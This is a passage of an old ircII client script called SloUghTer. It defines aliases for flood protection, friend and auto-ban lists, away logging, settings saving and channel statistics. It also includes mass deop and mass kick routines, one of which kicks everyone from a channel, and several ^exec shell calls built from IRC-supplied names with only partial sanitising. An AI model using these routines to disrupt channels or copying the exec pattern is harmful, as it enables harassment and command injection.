   pecho   Message Flood: $msgsensor Notice Flood: $noticesensor 
   pecho   CTCP Flood: $ctcpsensor Timer resets after: $resetcount 
   pecho   Flood-triggered Ignores last $ignorecount seconds.
   pecho   Ignores stop: $ignore_types\.
   pecho +-------+ Type /XDCC STATUS for XDCC information. +-------+
}

### Toggleable Commands

alias up_it {^assign $0 $toupper($1)}

alias servkill {
   if (match($0 ON OFF)) {/up_it showkill $0}
   pecho Server kill showing in the OpView window is $showkill\.
}
alias beepprot {
   if (match($0 ON OFF)) {up_it beepprot $0}
   pecho BEEP Protection Is Now $beepprot\.
}
alias namejoin {
   if (match($0 ON OFF)) {/up_it namejoin $0}
   pecho Names On Join Are Now $0....
}

alias extmes {
  if (match($0 ON OFF)) {/up_it extmes $0;chgst}
  pecho Extended messages display is $extmes\.
}
alias newuserban {
  if (match($0 ON OFF)) {up_it newuserban $0}
  pecho Newuser ON Ban Now $newuserban\.
}


alias prot {
  if (match($0 ON OFF)) {/up_it prot $0;chgst}
  pecho Megadeop/Kick Protection is $prot\.
}

alias nhprot {
  if (match($0 ON OFF)) {/up_it nhp $0;chgst}
  pecho Netsplit hack/ban protection is $nhp\.
}

alias autoop {
  if (match($0 ON OFF)) {/up_it autoop $0;chgst}
  pecho Auto OP friends on JOIN is $autoop\.
}

alias auto {
  if (match($0 ON OFF)) {/up_it ctcpauto $0;chgst}
  pecho CTCP op/invite is $ctcpauto\.
  if ([$1]) {^assign AutoChannels $tolower($strip(# $1-))}
  pecho AUTO functions will work in channels: $AutoChannels\
}

alias autochan {
  if ([$0]) {^assign AutoChannels $tolower($strip(# $0-))}
  if ([$AutoChannels]!=[ALL]) {/pecho AUTO functions will work in: $AutoChannels\}
  {/pecho AUTO functions will work in ALL your current channels.}
}

alias floodp {
  if (match($0 ON OFF)) {/up_it floodp $0;chgst}
  pecho Message/Notice/CTCP flood protection is $floodp\.
}

alias cprot {
  if (match($0 ON OFF)) {/up_it chanprot $0;chgst}
  pecho Channel flood/bomb protection is $chanprot\.
}

alias rejoin {
  if (match($0 ON OFF)) {/up_it rejoin $0;chgst}
  pecho AutoRejoin on kick is $rejoin\.
}

alias irclog {
  if (match($0 ON OFF)) {
     ^set log $0
      up_it logirc $0
      chgst
  }
  pecho The IRC Logfile is $logirc\.
}

alias autotime {
  if ([$0]) {^assign idle_time $0}
  pecho Auto setaway idle time is $idle_time\.
}
alias remote {
  if (match($0 ON OFF)) {/up_it remote $0}
  pecho Your Remote Mode has been tured $remote\!
}
alias msgstore {
  if (match($0 ON OFF)) {/up_it msgstore $0}
  pecho Messages Stored Are Now Turned $msgstore\!
}


alias allprot {
  if (match($0 ON OFF)) {
    up_it chanprot $0
    up_it floodp $0
    up_it prot $0
    up_it nhp $0
    up_it beepprot $0
    up_it HIDDENFILE $0
    up_it FAKENULL $0
    up_it DCCSEND $0
    pecho All of SloUghTer's protective coding now $floodp\.
    chgst
  }
  {/pecho You must specify whether you want ALL protection ON or OFF.}
}

alias pause {
  if ([$pauseset]==[]) {
     ^SET HOLD_MODE ON
     ^assign pauseset ON
      pecho Pause mode activated.
  } 
  {
     ^SET HOLD_MODE OFF
     ^assign -pauseset
      pecho Back to normal scroll mode.
  }
}
alias dccsendprot {
  if (match($0 ON OFF)) {/up_it DCCSEND $0;chgst}
pecho DCCSEND Protection Now $DCCSEND\.
}
alias fakenullprot {
  if (match($0 ON OFF)) {/up_it FAKENULL $0;chgst}
pecho FAKENULL Protection Now $FAKENULL\.
}
alias hiddenfileprot {
  if (match($0 ON OFF)) {/up_it HIDDENFILE $0;chgst}
pecho HIDDEDFILE Protection Now $HIDDENFILE\.
}

### MDeop, MOp, MVoice, MRemoveVoice, LK, and MK (by YaZoO and Vassago)

alias mass {
  if ([$0]) {
   if (([$0]!=[lk])&&([$0]!=[k])) {
	if ([$0]==[d]) {@ mass_mode = [-ooo];^on ^names "*" /findops $$1-\;^on ^names - "*"}
	{
	   if ([$0]==[o]) {@ mass_mode = [+ooo]}
	   if ([$0]==[v]) {@ mass_mode = [+vvv]}
	   if ([$0]==[s]) {@ mass_mode = [-vvv]}
	   if ([$mass_mode]!=[]) {^on ^names "*" /findnonops $$1-\;^on ^names - "*"}
	}
	//names $C
	wait -CMD domassmode
   }
   {
	if ([$0]==[lk]) {
	^on ^names "*" {^assign lamkick $1-}
	^names $C
	wait
	^assign lktmp no
	@ lcnt = 0
	pecho LKick started, please wait.
	while ([$(#lamkick)]>lcnt) {
	if (!match(@* $word($lcnt $lamkick))) {
	  if ([$word($lcnt $lamkick)]!=[$N]) {
	    if ([!$word($lcnt $lamkick)]!=[!]) {
		 ^assign bkicked $word($lcnt $lamkick) ${bkicked}
		 ^assign lktmp ppl
	    }
	  }
	}
	@ lcnt = lcnt + 1
	 }
	 if ([$lktmp]==[ppl]) {
	 @ lcnt = 0
	 while ([$(#bkicked)]>=lcnt) {
	   /kkick $C $word($lcnt $bkicked) $pk
	   @ lcnt = lcnt + 1
	 }
	  /pecho $bkicked have been kicked from $C.
	  }
	  {/pecho Everyone is opped on $C\.}
	  ^on names - "*"
	  ^assign -bkicked
	  ^assign -lcnt
	  ^assign -lktmp
	}
	if ([$0]==[k]) {
	/pecho Masskicking everyone from $C\.
	^on ^441 "*" #
	^on ^names "*" findops $$1-
	 names $C
	 wait -cmd _kickcont
	}
   }
 }
 {
      pecho Usage: /MASS <o,d,v,s,k,lk> - O to op all non channel ops,
      pecho d to deop all ops on the channel, v to give non-ops voice,
      pecho and s to remove voice from all non-ops \(silence\), lk to
      pecho mass kick all non-ops from the channel, and k to masskick 
      pecho EVERYONE from your current channel.
 }
}

alias _kickcont {
    ^assign kicklist $mdchange
     kickthem
    ^assign -mdchange
    ^on ^names "*" findnonops $$1-
     names $C
     wait -cmd _kickcont2
}

alias _kickcont2 {
    ^assign kicklist $mdchange
     kickthem
    ^assign -mdchange
    ^on 441 - "*"
    ^on names - "*"
}

alias domassmode {
    @ mdchangecnt = 1
    while ([$(#mdchange)]>=mdchangecnt) {
	/mmode $C $mass_mode $decode($word(${mdchangecnt-1} $mdchange)) $decode($word($mdchangecnt $mdchange)) $decode($word(${mdchangecnt+1} $mdchange))
	@ mdchangecnt = mdchangecnt + 3
    }
    ^assign -mdchangecnt
    ^assign -mdchange
    ^assign -mass_mode
}

alias findops {
   if (([$[1]0] == [@]) && (match($0 @${N} $N)==0)) {^assign mdchange $encode($strip(@ $0)) ${mdchange}}
   if (([$[1]1] == [@]) && (match($1 @${N} $N)==0)) {^assign mdchange $encode($strip(@ $1)) ${mdchange}}
   if (([$[1]2] == [@]) && (match($2 @${N} $N)==0)) {^assign mdchange $encode($strip(@ $2)) ${mdchange}}
   if ([$3]) {/findops $3-}
}

alias findnonops {
   if (([$[1]0] != [@]) && (match($0 @${N} $N)==0)) {^assign mdchange $encode($strip(+ $0)) ${mdchange}}
   if (([$[1]1] != [@]) && (match($1 @${N} $N)==0)) {^assign mdchange $encode($strip(+ $1)) ${mdchange}}
   if (([$[1]2] != [@]) && (match($2 @${N} $N)==0)) {^assign mdchange $encode($strip(+ $2)) ${mdchange}}
   if ([$3]) {/findnonops $3-}
}

alias kickthem {
   @ mcnt = 0
   if ([$kicklist]!=[]) {
       while ([$(#kicklist)]>mcnt){
	   kkick $C $decode($word($mcnt $kicklist)) $pk
	   @ mcnt = mcnt + 1
	   if ([$(#kicklist)]>mcnt) {
	       kkick $C $decode($word($mcnt $kicklist)) $pk
	       @ mcnt = mcnt + 1
	   }
       }
   }
   ^assign -kicklist
   ^assign -mcnt
}

### Other KICK Routines (by YaZoO, Mods by Vassago)

alias fk {
  if ([$0]) {
     pecho FilterKick of $0 in $C started, please wait...
    ^assign fkfilt $0
    ^on ^who "*" {
	 if ((rmatch($1!$3@$4 $fkfilt))&&([$1]!=[$N])) {^assign ftbkick $encode($1) ${ftbkick}}
    }
    //who $C
    wait -CMD dofilterkick
  }
  {/pecho Usage: /fk <hostname/*filter*>. Wildcards allowed.}
}

alias fbk {
  if ([$0]) {  
      mmode $C +b $0
      fk $0
  }
  {/pecho Usage: /fbk <hostname/*filter*>. Wildcards allowed.}
}

alias dofilterkick {
    @ fkcnt = 0
    while ([$(#ftbkick)]>fkcnt) {
	kkick $C $decode($word($fkcnt $ftbkick)) | Filter Kick $fkfilt |
	@ fkcnt = fkcnt + 1
    }
    if ([$ftbkick]!=[]) {/pecho $fkcnt people kicked from $C with the filter $fkfilt\.}
    {/pecho No one matching filter $fkfilt is in channel $C\.}
    ^on who - "*"
    ^assign -ftbkick
    ^assign -fkcnt
    ^assign -fkfilt
}

alias k {
  if ([$0]) {
    if ([$1]) {/kkick $C $0  $1- }
    {/kkick $C $0 $pk}
  }
  {/pecho You must specify a nickname.}
}

alias wordkick {
  if ([$0]) {
       eval ^on -public "% % *$0-*" {/kkick $1 $0 | WordKick |}
       eval ^on -action "% % *$0-*" {/kkick $1 $0 | WordKick |}
       pecho WordKick Will be Activated By Anyone Saying $0-\.!
  }
  {pecho You must Specify 1 to 5 Words!}
}

alias remword {
  if ([$0]) {
       eval ^on public - "% % *$0-*"
       eval ^on action - "% % *$0-*"
       /pecho $0 Has Been Removed From the List! 
  }
  {/pecho Usage: /REMWORD <word(s\)> To remove Word\(s\) From WordKick!}
}


### Setaway & Setback Routines (by Vassago)

alias setaway {
    if ([$0]) {^assign reason $encode($0-)}
    {^assign reason $encode($defumes)}
     //away $decode($reason) \(Away since $Z $left(10 $stime($time()))\)
     //me is away - $decode($reason) - messages will be saved.
     ^assign isaway YES
     ^exec echo "[$left(10 $stime($time())) $Z] Setaway: $safe($decode($reason)) " >> $awayfle
     @ away_messages = 0
     @ logged_entries = 0
}

alias away {
   if ([$0]) {/setaway $0-}
   {/setback}
}

alias setback {
  ^assign isaway NO
   /me has returned.
   //away
   /pecho You have $away_messages messages and $logged_entries script logs waiting.
   ^assign temp $"[E/X] Display message file? (y/n) "
   if (([$temp]==[y])||([$temp]==[yes])) {^exec cat $awayfle}
   ^assign temp $"[E/X] Save message file? (y/n) "
   if (([$temp]==[n])||([$temp]==[no])) {
      ^exec rm $awayfle
       pecho Setaway message list has been deleted.
   }
   {/pecho Setaway message list has not been deleted.}
   @ away_messages = 0
   @ logged_entries = 0
   ^assign -temp
}

alias log {
   if ([$isaway]==[YES]) {
	^assign ltext $safe($0-)
	^exec echo "[$left(10 $stime($time())) $Z] $ltext " >> $awayfle
	 @ logged_entries = logged_entries + 1
	^assign -ltext
   }
}

### Script Variable Save Routines (by YaZoO - Mods from Vassago)

alias save sve

alias avar {^assign $0 $1-}

alias adadddfriend {
   @ FRIENDS[$FRIENDADD] = [$0]
   @ FRIENDADD = FRIENDADD + 1
}

alias adadddpriv {
   @ PRIVS[$PRIVADD] = [$0-]
   @ PRIVADD = PRIVADD + 1
}

alias adadddenemy {
   @ ENEMIES[$ENEMYADD] = [$0]
   @ ENEMYADD = ENEMYADD + 1
}

alias adadddcomment {
   @ COMMENTS[$COMMENTADD] = [$0-]
   @ COMMENTADD = COMMENTADD + 1
}

alias sve {
   pecho Save started, please wait...
  ^on ^exec_error "sve *" #
  ^exec -name sve rm $baksve $SloUghTerDir/notify.ex
   wait %sve
  ^exec -name sve mv $asve $baksve
   wait %sve
  ^on ^exec_error - "sve *"
  ^exec -name exsve cat >> $asve
   wait
  ^msg %exsve ### Save file For SloUghTer By Eliminator!
   wait
  ^msg %exsve ### Last saved: $left(10 $stime($time())) at $Z
   wait
   pecho Saving miscellaneous script settings...
  ^writeln TOOPVIEW $TOOPVIEW
  ^writeln idle_time $idle_time
  ^writeln showkill $showkill
  ^writeln defban $defban
  ^writeln ban_name $ban_name
  ^writeln change_stat $change_stat
  ^writeln extmes $extmes
  ^writeln ctcpauto $ctcpauto
  ^writeln autochannels $autochannels
  ^writeln uban_kickmsg $uban_kickmsg
  ^writeln default_server $default_server
  ^writeln flood_msg $flood_msg
  ^writeln ex $ex
  ^writeln pk $pk
  ^writeln abkickmsg $abkickmsg
  ^writeln channel_floodmsg $channel_floodmsg
  ^writeln nick_floodmsg $nick_floodmsg
  ^writeln ignore_types $ignore_types
  pecho Saving Prompt Seting...
  ^writeln prompt $prompt
  ^writeln shell_pgm $shell_pgm
   pecho Saving Flood/Mass Protection settings...
  ^writeln ignore_types $ignore_types
  ^writeln prot $prot
  ^writeln flood_ok $flood_ok
  ^writeln floodp $floodp
  ^writeln nhp $nhp
  ^writeln chanprot $chanprot
  ^writeln resetcount $resetcount
  ^writeln ignorecount $ignorecount
  ^writeln msensor $msensor
  ^writeln ksensor $ksensor
  ^writeln msgsensor $msgsensor
  ^writeln noticesensor $noticesensor
  ^writeln ctcpsensor $ctcpsensor
  ^writeln nicksensor $nicksensor
   pecho Saving XDCC settings...
  ^writeln autoget $autoget
  ^writeln autosend $autosend
  ^writeln autoclose $autoclose
  ^writeln autorename $autorename
  ^writeln noise $noise
  ^writeln security $security
  ^writeln beepprot $beepprot 
  ^writeln hiddenfileprot $hiddenfileprot
  ^writeln dccsendprot $dccsendprot
  ^writeln fakenullprot $fakenullprot
pecho Saving Password Setings!....  
  ^writeln passwd $passwd
pecho Saving Personal Settings!..
   ^writeln fingermsg $fingermsg
   ^writeln pingmsg $pingmsg
   ^writeln versionmesg $versionmesg
   ^writeln defumes $defumes
   ^writeln idlemes $idlemes
   ^writeln usermode $usermode 
   ^writeln msgstore $msgstore
   ^writeln numa $numa
   ^writeln remote $remote
   ^writeln signmsg $signmsg
   ^writeln default_server $default_server
 pecho Saving Friends and AutoBkick lists...
   foreach FRIENDS XX {
	^msg %exsve adadddfriend $FRIENDS[$XX]
	 wait
   }
   foreach PRIVS XX {
	^msg %exsve adadddpriv $PRIVS[$XX]
	 wait
   }
   foreach ENEMIES XX {
	^msg %exsve adadddenemy $ENEMIES[$XX]
	 wait
   }
   foreach COMMENTS XX {
	^msg %exsve adadddcomment $COMMENTS[$XX]
	 wait
   }
  ^exec -CLOSE %exsve
   wait
   pecho Saving your notify list...
  ^exec -name nsve cat >> $SloUghTerDir/notify.ex
   wait
  ^msg %nsve ### NOTIFY file for  SloUghTer By Eliminator!
   wait
  ^msg %nsve ### Last saved: $left(10 $stime($time())) at $Z
   wait
   @ notify_size = [$#notify.ex]
   @ notify_counter = 0
   while (notify_counter < notify_size) {
	@ ind =0
	^assign -notify_write
	 while (ind < 7) {
		^assign notify_write $notify_write $word($notify_counter $notify.ex)
		@ ind=ind+1
		@ notify_counter = notify_counter + 1
	 }
	 ^msg %nsve NOTIFY$notify_write
	  wait
   }
  ^exec -CLOSE %nsve
   wait
   pecho Save has been completed.
}

alias writeln {
   ^msg %exsve avar $0 $1-
    wait
}

### AUTOBKICK LIST Routines (by Vassago)

alias check_enemy {
    @ NUMENEMIES = 0
    foreach ENEMIES XX {
	@ NUMENEMIES = NUMENEMIES + 1
	  if ((rmatch($ENEMIES[$XX] $0))||(match($ENEMIES[$XX] $0))) {^assign blah ON}
    }
    if ([$blah]==[ON]) {^assign FUNCTION_RETURN ON}
    ^assign -blah
}

alias add_enemy {
  @ NUMENEMIES = NUMENEMIES + 1
   ^assign ENEMIES[$NUMENEMIES] $0
   if ([$1]) {
       ^assign COMMENTS[$NUMENEMIES]  $1- 
	pecho Added $0 to your AutoBKick list with comment: $1-
   }
   {/pecho Added $0 to your AutoBKick list with no comment.}
}

alias delete_enemy {
   foreach ENEMIES XX {
	 if ((rmatch($ENEMIES[$XX] $0))||(match($ENEMIES[$XX] $0))||([$ENEMIES[$XX]]==[$0])) {
	     pecho Match: Removing $ENEMIES[$XX] from list.
	    ^assign ENEMIES[$XX] $ENEMIES[$NUMENEMIES]
	    ^assign COMMENTS[$XX] $COMMENTS[$NUMENEMIES]
	    ^assign -ENEMIES[$NUMENEMIES]
	    ^assign -COMMENTS[$NUMENEMIES]
	    @ NUMENEMIES = NUMENEMIES - 1
	 }
   }
}

alias addbk {
  if ([$0]) {
    if (rmatch($0 *@* *!* *.*)) {
	  if ([$check_enemy($0)]==[ON]) {/delete_enemy $0}
	  add_enemy $0 $1-
    }
    {
	 pecho Searching for nickname $0\...
	 ^assign tempcomment $1-
	 Userhost $0 -CMD if ([$4]!=[<UNKNOWN>]) {
	     ^assign TOADD $safe($3)@$4
	      if ([$check_enemy(*!*$TOADD)]==[ON]) {/delete_enemy *!*$TOADD}
	      add_enemy $nban($safe($3) $4) $tempcomment
	     ^assign -TOADD
	     ^assign -tempcomment
	 }
	 {/pecho I can't find $0 on IRC.}
    }
  }
  {
      pecho Usage: /ADDBK <nick/filter> <comment> to add a nick/filt to your
      pecho AUTOBKICK list. You can place your bans in your bkick list by
      pecho typing /DOBANS. If someone joins one of your channels with a
      pecho user@host that matches in your list, they will be deopped,
      pecho banned, and kicked from the channel automatically. If you don't
      pecho specify a comment, it will default to a standard message.
  }
}

alias listbk {
  /pecho Listing Enemies/Filters in your list:
  @ THELIST = 0
  foreach ENEMIES XX {
	@ THELIST = THELIST + 1
	if ([$COMMENTS[$XX]]!=[]) {/pecho #$THELIST $ENEMIES[$XX] \($COMMENTS[$XX]\)}
	{/pecho #$THELIST $ENEMIES[$XX]}
  }
  pecho End of AutoBKick list. A total of $THELIST people/filters.
  ^assign -THELIST
}

alias rembk {
    if ([$0]) {
      if ([$0]==[ALL]) {
	 purge ENEMIES
	 purge COMMENTS
	 pecho Your AutoBkick list has been cleared.
      }
      {
      if (rmatch($0 *@* *!* *.*)) {
	  if ([$check_enemy($0)]==[ON]) {/delete_enemy $0}
	  {/pecho $0 is not in your AutoBKick list.}
      }
      {
	   Userhost $0 -CMD if ([$4]!=[<UNKNOWN>]) {
		 ^assign TOREMOVE $safe($3)@$4
		 if ([$check_enemy(*!*$TOREMOVE)]==[ON]) {/delete_enemy *!*$TOREMOVE}
		 {/pecho *!*$TOREMOVE is not in your AutoBkick list.}
		 ^assign -TOREMOVE
	    }
	    {/pecho I can't find $0 on IRC.}
      }
      }
    }
    {
	pecho Usage: /REMBK <nick or filter to remove from Auto Bkick list>.
	pecho Type /REMBK ALL to clear your AutoBkick list.
    }
}

### CTCP Friends List Functions (by Vassago)

alias check_friend {
    @ NUMFRIENDS = 0
    foreach FRIENDS XX {
	@ NUMFRIENDS = NUMFRIENDS + 1
	if ((rmatch($FRIENDS[$XX] $0))||(match($FRIENDS[$XX] $0))) {^assign blah ON}
    }
    if ([$blah]==[ON]) {^assign FUNCTION_RETURN ON}
    ^assign -blah
}

alias add_friend {
   @ NUMFRIENDS = NUMFRIENDS + 1
   ^assign FRIENDS[$NUMFRIENDS] $0
   setprivs $1-
   pecho Added $0 to your Friends list with
   pecho CTCP access of: $PRIVS[$NUMFRIENDS]
   makefriends
}

alias delete_friend {
   foreach FRIENDS XX {
	 if ((rmatch($FRIENDS[$XX] $0))||(match($FRIENDS[$XX] $0))||([$FRIENDS[$XX]]==[$0])) {
	    /pecho Match: Removing $FRIENDS[$XX] from list.
	    ^assign FRIENDS[$XX] $FRIENDS[$NUMFRIENDS]
	    ^assign PRIVS[$XX] $PRIVS[$NUMFRIENDS]
	    ^assign -FRIENDS[$NUMFRIENDS]
	    ^assign -PRIVS[$NUMFRIENDS]
	    @ NUMFRIENDS = NUMFRIENDS - 1
	 }
   }
   makefriends
}

alias addf {
  if ([$0]) {
    if (rmatch($0 *@* *!* *.*)) {
	 if ([$check_friend($0)]==[ON]) {/delete_friend $0}
	 add_friend $0 $1-
    }
    {
	 ^assign STUFF $1-
	 pecho Searching for nickname $0\...
	 Userhost $0 -CMD if ([$4]!=[<UNKNOWN>]) {
		^assign TOADD $safe($3)@$4
		if ([$check_friend($0!$TOADD)]==[ON]) {/delete_friend $0!$TOADD}           
		add_friend $nban($safe($3) $4) $STUFF
		nnotice $0 You have been added to my Friends list with CTCP
		nnotice $0 access of: $PRIVS[$NUMFRIENDS]
		nnotice $0 Type /CTCP $N HELP for more information.
		^assign -STUFF
		^assign -TOADD
	 }
	 {/pecho I can't find $0 on IRC.}
    }
  }
  {
      pecho Usage: /ADDF <nick/filter> <privileges>. Available privileges are
      pecho INVITE, OP, & XDCC. To give them all access, type /ADDF <nick/filt>
      pecho ALL. To change someone's privileges, just /ADDF them again.
  }
}

alias setprivs {
  ^assign -PRIVS[$NUMFRIENDS]
  if ([$0]) {
	if (match(INVITE $0-)) {@ PRIVS[$NUMFRIENDS] = PRIVS[$NUMFRIENDS] ## [INVITE ]}
	if (match(OP $0-)) {@ PRIVS[$NUMFRIENDS] = PRIVS[$NUMFRIENDS] ## [OP ]}
	if (match(XDCC $0-)) {@ PRIVS[$NUMFRIENDS] = PRIVS[$NUMFRIENDS] ## [XDCC ]}
	if (match(ALL $0-)) {@ PRIVS[$NUMFRIENDS] = PRIVS[$NUMFRIENDS] ## [INVITE OP XDCC]}
	if (!match($0 OP INVITE ALL XDCC)) {
	   pecho You must specify OP, INVITE, XDCC or ALL.
	   pecho Setting privileges to INVITE and XDCC. (default).
	   @ PRIVS[$NUMFRIENDS] = [INVITE XDCC]
	}
  }
  {@ PRIVS[$NUMFRIENDS] = [INVITE XDCC]}
}

alias listf {
  pecho Listing Friends/Filters in your list and their access:
  @ THELIST = 0
  foreach FRIENDS XX {
	@ THELIST = THELIST + 1
	/pecho #$THELIST $FRIENDS[$XX]
	/pecho    Privileges: $PRIVS[$XX]
  }
  /pecho End of Friends list. A total of $THELIST people.
  ^assign -THELIST
}

alias remf {
   if ([$0]) {
   if ([$0]==[ALL]) {
       purge FRIENDS
       purge PRIVS
       pecho Your friends list has been cleared.
   }
   {
     if (rmatch($0 *@* *!* *.*)) {
	  if ([$check_friend($0)]==[ON]) {/delete_friend $0}
	  {/pecho $0 is not on your Friends list.}
     }
     {
	 Userhost $0 -CMD if ([$4]!=[<UNKNOWN>]) {
	      ^assign TOREMOVE $safe($3)@$4
	      if ([$check_friend($0!$TOREMOVE)]==[ON]) {/delete_friend $0!$TOREMOVE}
	      {/pecho $0!$TOREMOVE is not on your Friends list.}
	      ^assign -TOREMOVE
	 }
	 {/pecho I can't find $0 on IRC.}
     }
   }
   }
   {
      pecho Usage: /REMF <nick/filter to remove from Friends list>.
      pecho To clear your friends list, type /REMF ALL.
   }
}

alias makefriends {
    # EVAL pecho Building INVITE, OP and XDCC Friends Lists...
   ^assign -OPLIST
   ^assign -FRIENDLIST
   ^assign -INVITELIST
   ^assign -SECLIST
    foreach FRIENDS ii {
	^assign FTMP *$uhostonly($FRIENDS[$ii])
	if (match(OP $PRIVS[$ii])) {@ OPLIST = OPLIST ## [$FTMP ]}
	if (match(INVITE $PRIVS[$ii])) {@ INVITELIST = INVITELIST ## [$FTMP ]}
	if (match(XDCC $PRIVS[$ii])) {@ SECLIST = SECLIST ## [$FTMP ]}
	@ FRIENDLIST = FRIENDLIST ## [$FTMP ]
    }
}

alias uhostonly {
   ^assign uhost_tmp $0
   ^assign FUNCTION_RETURN $right(${@uhost_tmp-index(! $0)} $0)
}

### Notify Functions

on ^notify_signon "*" {
   Userhost $0 -CMD if ([$4]!=[<UNKNOWN>]) {/pecho Signon at $Z for $0 [$safe($3)@$4] detected.}
   {/pecho Signon/Signoff at $Z for $0 detected.}
}

on ^notify_signoff "*" pecho Signoff at $Z for $0 detected.

### NOTIFY Alias (by TG, save mods by Vassago)

alias notify {
  if ([$0]) {
    if ([$left(1 $0)]==[-])
	{
	 //notify $0-
	 ^assign notify.ex $rem_w($mid(1 1000 $0-) $notify.ex)
	} 
	{
	 ^assign notify.ex $notify.ex $strip(+ $0-)
	 //notify $0-
	}
    } 
    {
	/pecho Notify List: $notify.ex
	//notify +
    }
}

### Miscellaneous Functions (by Jeremy Nelson)

alias rem_w {
    @ _pattern = rmatch($0 $1-) - 1
    if (_pattern != -1) {@ function_return = notw($_pattern $1-)}
    {@ function_return = [$1-]}
}
alias notw {
    if ([$0]) {@ _pad = [ ]}
    {@ _pad = []}
    @ _words = [$1-]
    @ function_return = [$leftw($0 $1-)] ## [$_pad] ## [$restw(${[$0]+1} $1-)]
}
alias leftw {@ function_return = [$(1-$0)]}
alias restw {@ function_return = [$(${[$0]+1}-)]}

### Miscellaneous Aliases

alias finger {
    ^exec -kill %finger
    if (([$0]==[-h])&&([$1]!=[])) {
	Userhost $1 -cmd if ([$3] != [<UNKNOWN>]) {
	    pecho Launching Host finger on: $0 -> @$4
	    ^eval exec -name finger exec finger @$$4
	}
	{/pecho I can't find $0 on IRC.}
    }
    {
	if (index(@ $0) > -1) {^exec -name finger exec finger $0}
	{
	   if ([$0]) {
	       Userhost $0 -cmd if ([$3] != [<UNKNOWN>]) {
		   pecho Launching finger on $0!$strip(#~!> $3)@$4
		   ^eval exec -name finger exec finger $strip(#~!> $3)@$$4
	       }
	       {/pecho I can't find $0 on IRC.}
	   }
	   {/pecho Usage: /FINGER [[-h] <nickname>][[user]@full.hostname]}
	}
    }
}

alias _connect {
   ^timer 2 EVAL quote MODE $N $usermode
    wait -CMD ^timer 5 autoping
}

alias chgst {
  if ([$change_stat]==[ON]) {
	   ^assign ptmp $ptmp${TOTPACK}-
	   ^assign ptmp $ptmp${GETCOUNT}
	   if ([$AUTOGET] == [ON])
		 { ^assign ptmp ${ptmp}:G}
		 { ^assign ptmp ${ptmp}:g}
	   if ([$AUTOSEND] == [ON])
		 { ^assign ptmp ${ptmp}S}
		 { ^assign ptmp ${ptmp}s}
	   if ([$AUTOCLOSE] == [ON])
		 { ^assign ptmp ${ptmp}C}
		 { ^assign ptmp ${ptmp}c}
	   if ([$AUTORENAME]==[ON])
		 { ^assign ptmp ${ptmp}N}
		 { ^assign ptmp ${ptmp}n}
	   if ([$SECURITY]==[ON])
		 { ^assign ptmp ${ptmp}X}
		 { ^assign ptmp ${ptmp}x}
	   if ([$ctcpauto]==[ON])
		 { ^assign ptmp ${ptmp}A}
		 { ^assign ptmp ${ptmp}a}
	   if ([$LOGIRC] == [ON])
		 { ^assign ptmp ${ptmp}L}
		 { ^assign ptmp ${ptmp}l}
	   if ([$FLOODP]==[ON])
		 { ^assign ptmp ${ptmp}F}
		 { ^assign ptmp ${ptmp}f}
	   if ([$prot]==[ON])
		 { ^assign ptmp ${ptmp}M}
		 { ^assign ptmp ${ptmp}m}
	   if ([$chanprot]==[ON])
		 { ^assign ptmp ${ptmp}P}
		 { ^assign ptmp ${ptmp}p}
	   if ([$nhp]==[ON])
		 { ^assign ptmp ${ptmp}H}
		 { ^assign ptmp ${ptmp}h}
	   if ([$rejoin]==[ON])
		 { ^assign ptmp ${ptmp}R}
		 { ^assign ptmp ${ptmp}r}
       ^assign ptmp [${ptmp}]$OLD_STATUS
       ^set STATUS_FORMAT $ptmp
       ^assign -ptmp
    }
    {^set STATUS_FORMAT $OLD_STATUS}
}

alias cstat {
  if ([$change_stat]==[ON]) {^assign change_stat OFF}
  {^assign change_stat ON}
   pecho Changing the status line is now $change_stat\.
   chgst
}

alias your_host {
    EVAL Userhost $N -CMD if ([$3]) {/EVAL ^assign ownadd $0!$strip(~ $3)@$4}
    {^timer 30 your_host}
}

alias sensor {
   pecho Enter deop sensitivity \(currently $msensor\).
   @ temp = [$"[E/X] Deop value: "]
   if (temp!=[]){@ msensor = temp}
   pecho Enter kick sensitivity \(currently $ksensor\).
   @ temp = [$"[E/X] Kick value: "]
   if (temp!=[]){@ ksensor = temp}
   pecho Enter nickname flood sensitivity \(currently $nicksensor\).
   @ temp = [$"[E/X] Channel Nickname Flood value: "]
   if (temp!=[]){@ nicksensor = temp}
   pecho Enter message flood sensitivity \(currently $msgsensor\).
   @ temp = [$"[E/X] FloodP Msg Flood value: "]
   if (temp!=[]){@ msgsensor = temp}
   pecho Enter notice flood sensitivity \(currently $noticesensor\).
   @ temp = [$"[E/X] FloodP Notice Flood value: "]
   if (temp!=[]){@ noticesensor = temp}
   pecho Enter CTCP flood sensitivity \(currently $ctcpsensor\).
   @ temp = [$"[E/X] FloodP CTCP Flood value: "]
   if (temp!=[]){@ ctcpsensor = temp}
   pecho Enter # of seconds auto-ignores should last \(currently $ignorecount\).
   @ temp = [$"[E/X] Automatic ignores last <in seconds>: "]
   if (temp!=[]){@ ignorecount = temp}
   pecho Enter ignore type\(s\) \(Currently $ignore_types\).
   pecho Valid: MSGS CTCP NOTICES WALLS WALLOPS INVITES NOTES PUBLIC CRAP, or ALL.
   @ temp = [$"[E/X] Ignore type\(s\): "]
   if (temp!=[]){@ ignore_types = temp}
   pecho Enter the # of seconds until the timer resets \(currently $resetcount\).
   @ temp = [$"[E/X] FloodP timer subtraction value: "]
   if (temp!=[]){@ resetcount = temp}
   ^assign -temp
}

alias signoff {
  if ([$0]) {
    EVAL echo *** Signoff: $N \($0-\)
    //signoff $0-
  }
  {
    EVAL echo *** Signoff: $N \($signmsg\)
    EVAL //signoff $signmsg
  }
}

alias exit {/signoff $0-}
alias quit {/signoff $0-}

alias cycle {
   /pecho Cycling on channel $C\, one moment...
   ^assign tmpchan $C
   //leave $C
   wait -CMD //join $tmpchan
}

# Channel Stats Generator (by YaZoO)

alias chanst {
  /pecho Gathering information for channel $C\...
  if ([$0]) {^assign chnl $0}
  {^assign chnl $C}
  @ cnscnt = 0
  @ opedpl = 0
  @ unoppl = 0
  @ awaypl = 0
  @ herepl = 0
  @ ircopl = 0
  ^assign -ircopz
  ^on ^who "*" {
    if (index(@ $2)!=-1) {@ opedpl = opedpl + 1}
    {@ unoppl = unoppl + 1}
    if (index(H $2)!=-1) {@ herepl = herepl + 1}
    if (index(G $2)!=-1) {@ awaypl = awaypl + 1}
    if (index(* $2)!=-1) {
	 @ ircopl = ircopl + 1
	^assign ircopz $1 ${ircopz}
    }
    @ cnscnt = cnscnt + 1
  }
  //who $chnl
  wait -CMD givestats
}

alias givestats {
  ^on who - "*"
   pecho Current channel statistics for $chnl 
